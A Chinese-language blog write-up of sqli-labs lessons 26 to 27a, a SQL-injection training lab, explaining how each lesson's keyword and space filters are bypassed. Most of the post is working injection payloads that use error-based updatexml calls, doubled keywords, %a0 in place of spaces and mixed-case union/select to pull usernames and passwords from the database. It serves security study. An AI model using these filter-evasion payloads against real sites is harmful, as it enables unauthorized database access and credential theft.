Loading

sqli-labs lesson 26-27a

less 26:

因为本关在windows上运行可能会出现字符转义(apacche下空格无法转义)错误,所以在docker上搭建好sqli-labs

在win2003上远程登录sqli-labs

 

先执行?id=1' 出现报错 ,可能存在注入漏洞

观察源码:可以看后面的注释,把or and /* 等等注释符都替换了

 

 

这里可以使用报错注入,注意or和空格是会被preg_replace函数删除掉,所以or要双写,

空格用()或者url编码代替

例如:

?id=1'||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name=0x7573657273)),0x7e),1);%00

这里需要空格隔开的字符串都用括号包裹了起来,0x7573657273='users'

 

 但是这里group_concat不可以取出所有的值,所以最后爆字段值的时候

可以用id=x挨个取字段值:

?id=1'||updatexml(1,concat(0x7e,(select(group_concat(concat_ws('-',username,passwoorrd)))from(security.users)where(id=1)),0x7e),1);%00

 

上面都是因为不能使用空格使用括号包裹的思路,下面演示用字符替换空格的思路

关于可以替换空格的编码字符:

%09 TAB键(水平)

%0a 新建一行

%0c 新的一页

%0d return功能

%0b TAB键(垂直)

%a0 空格

执行:?id=1'%a0oorrder%a0by%a03;%00  页面正常显示

 

 那么说明可以像less 1一样构造联合查询语句。

 

less 26a

关于本关 id是被('')包裹,所以注意闭合,例如:?id=1')%a0oorrder%a0by%a03||('1')=('1

再有就是注意26a关,关闭了错误提示,不能再使用报错注入

 

 

less 27

观察源码:

 

 

 

 

 

第1个信息就是id被单引号包裹

第2个信息有错误提示

第3个信息与less26a相比 新增了首字母大写、全小写、全大写的union和select注释

但是mysql不区分大小写,所以空格用%a0替换 union改为uNion,select改为sElect即可

 

第二种方法:报错注入

原理都类似,下面给一个payload

?id=1'%a0||updatexml(1,concat(0x7e,(SElecT%a0(concat_ws('~',username,password))from%a0users%a0limit%a00,1),0x7e),1)||%a0'1'='1

 

 其余的payload均可参考此例构造

 

less 27a

与27区别在于 本关为双引号包裹 还是注意union select分开大小写即可

构造联合查询语句 就轻松破解

 

posted @ 2020-03-10 22:29  Zh1z3ven  阅读(260)  评论(0编辑  收藏  举报